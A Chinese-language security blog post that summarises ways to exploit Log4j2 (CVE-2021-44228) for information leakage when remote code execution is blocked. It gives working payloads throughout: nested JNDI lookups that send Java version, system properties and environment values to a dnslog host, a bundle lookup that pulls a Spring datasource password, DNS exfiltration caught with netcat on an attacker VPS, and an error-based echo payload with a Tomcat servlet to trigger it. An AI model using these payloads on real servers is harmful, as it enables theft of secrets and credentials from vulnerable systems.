0x00 介绍
本文核心是探讨:由于各种情况(RASP
和SecurityManager
等)导致无法RCE
时候如何利用Log4j2
最近在赛博回忆录看到很多大佬提出Log4j2
的利用姿势,本文也是参考各位大佬(比如浅蓝大佬)的成果做个总结
昨天看到P师傅凌晨三点还在研究Log4j2
在ES
中的利用,P牛指出:
ElasticSearch
利用Java
的SecurityManager
安全机制来防御文件操作和Socket
操作,所以无法正常连接远程服务器
这种情况也说明了研究Log4j2
非RCE
利用方式的必要性
信息泄露需要两个关键点
- 如何获取泄露的信息
- 如何带出来泄露的信息
解决
- 获取:利用
${}
和其他各种Lookup
- 带出:利用
dnslog
或直接dns
协议
0x01 嵌套标签
参考Payload
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
Log4j2是在substitute方法中递归解析{}表达式,所以可以利用这种嵌套标签,从内到外获取{}中的内容,然后分配给对应的Lookup做解析,获得信息后通过Dnslog带出
借用木头师傅的图片展示效果
0x02 Sys与Env
之所以专门提到这两个Lookup
是因为他们之中通常包含着关键信息
信息来自于System.getProperty()
和System.getenv()
具体能获取哪些信息可以参考某位师傅的仓库:https://github.com/jas502n/Log4j2-CVE-2021-44228
0x03 Bundle
在浅蓝师傅的文章中提到的一种特殊Lookup
源码的BundleLookup
核心内容如下
public String lookup(final LogEvent event, final String key) {
...
final String bundleName = keys[0];
final String bundleKey = keys[1];
...
return ResourceBundle.getBundle(bundleName).getString(bundleKey);
}
在通常情况下这个ResourceBundle
被用来做国际化,网站通常会给一段表述的内容翻译成多种语言
在SpringBoot
下可能会获取到关键信息,将会比Sys
和Env
更严重
但这种情况略显鸡肋,需要手动排除SpringBoot
自带的日志依赖并加入Log4j2
的依赖(这种情况可能不多)
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
通过${bundle:application:spring.datasource.password}
可以直接拿到数据库密码
如果不需要手动排除默认日志依赖即可获取信息,那么这将会是严重的漏洞,但目前的情况不算很严重
嵌入标签即可带到Dnslog
0x04 DNS
DNS
协议是属于JNDI
协议的,所以我们也可以利用DNS
协议来带一些信息
使用logg.error("
在自己的VPS
上nc -luvvp 8090
即可收到信息(参考木头师傅图片)
0x05 不出网回显
很多群都在讨论Log4j2
不出网的利用,主要参考浅蓝师傅给出的思路
这是一种报错回显,在log
整体流程中有下面这样一部,具体流程参考Log4j2
分析文章
在tryCallAppender
方法中catch
了RuntimeException
private void tryCallAppender(final LogEvent event) {
try {
appender.append(event);
} catch (final RuntimeException error) {
handleAppenderError(event, error);
} catch (final Exception error) {
handleAppenderError(event, new AppenderLoggingException(error));
}
}
如果配置了ignoreExceptions
选项,就会直接抛出来
private void handleAppenderError(final LogEvent event, final RuntimeException ex) {
appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex);
if (!appender.ignoreExceptions()) {
throw ex;
}
}
接下来就是制造RuntimeException
例如字符串转数字中有一个NumberFormatException
异常,它父类的父类是RuntimeException
public class NumberFormatException extends IllegalArgumentException {}
public class IllegalArgumentException extends RuntimeException {}
JndiManager.lookup
中name
是protocal://host:port/path
其中port
本该是int
如果给它无法转int
的字符串就会抛出这里的信息
又联想到${}
是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果
根据这个思路,成功在Tomcat
项目中回显执行结果(例如这里的${java:version}
)
能够回显的Payload
是这样:${jndi:ldap://x.x.x.x:${java:version}/xxx}
浅蓝师傅的思路是来自于端口字符串强转int
报错来回显
在log4j2.xml
中开启配置:ignoreExceptions="false"
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">
<PatternLayout pattern="%m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="STDOUT"/>
</Root>
</Loggers>
</Configuration>
在实际的环境中,有开启这个配置的概率,参考apache
官方的描述
大致意思是在FailoverAppender
情况下必须设置该选项为false
某些情况下开发者想让错误报出来便于调试,也会故意开启这个选项
代码语言:javascript复制ignoreExceptions:
The default is true, causing exceptions encountered while appending events to be internally logged and then ignored. When set to false exceptions will be propagated to the caller, instead. You must set this to false when wrapping this Appender in a FailoverAppender.
再Tomcat
中使用Log4j2
的配置文件需要修改web.xml
<listener>
<listener-class>org.apache.logging.log4j.web.Log4jServletContextListener</listener-class>
</listener>
<filter>
<filter-name>log4jServletFilter</filter-name>
<filter-class>org.apache.logging.log4j.web.Log4jServletFilter</filter-class>
</filter>
<context-param>
<param-name>log4jConfiguration</param-name>
<param-value>file:///YOUR_LOG4J2.XML_PATH</param-value>
</context-param>
<filter-mapping>
<filter-name>log4jServletFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
<dispatcher>ERROR</dispatcher>
<dispatcher>ASYNC</dispatcher>
</filter-mapping>
来个Servlet
即可触发
@WebServlet("/test")
public class DemoServlet extends HttpServlet {
private static final Logger logger = LogManager.getLogger();
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
logger.error("${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}");
}
}
0x06 参考
参考浅蓝师傅的文章:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
参考天下大木头师傅的图片:https://github.com/KpLi0rn